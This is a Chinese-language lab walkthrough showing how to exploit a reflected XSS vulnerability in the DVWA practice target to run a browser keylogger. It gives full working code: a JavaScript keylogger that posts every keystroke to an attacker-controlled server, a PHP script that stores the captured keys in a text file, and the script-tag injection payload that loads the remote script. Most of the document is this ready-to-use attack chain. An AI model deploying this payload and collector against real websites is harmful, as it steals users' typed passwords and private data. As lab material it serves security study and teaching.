利用XSS漏洞实现键盘记录器
本实验以反射性的XSS漏洞为例
实验环境:dvwa靶机(ip:192.168.135.140)
kali linux(ip:192.168.135.138)
1.首先开启在kail上开启apache服务
/etc/init.d/apache2 start
在firefox地址栏输入: http://192.168.135.138 或者 http://localhost 检测apache是否开启,看见以下即可
2.在/var/www/html创建三个文件
(1)keylogger.js【远程js脚本文件】
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.135.138/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
(2)keylogger.php 【用于将键盘上的敲击的记录通过POST传送到keylog.txt中】
<?php
$key = $_POST['key'];
$log = fopen("keylog.txt","a");
fwrite($log,$key);
fclose($log);
?>
(3)keylog.txt 【空文件用于接收键盘的记录】
2.XSS漏洞测试开始
(1)在浏览器访问dvwa靶机并且登录
(2)在输入框中输入以下代码
<script src="http://192.168.135.138/keylogger.js"></script>
或者使用hackbar插件
(3)紧接着在这个页面随意敲击键盘并查看keylog.txt是否有记录
看见以上效果及实验成功。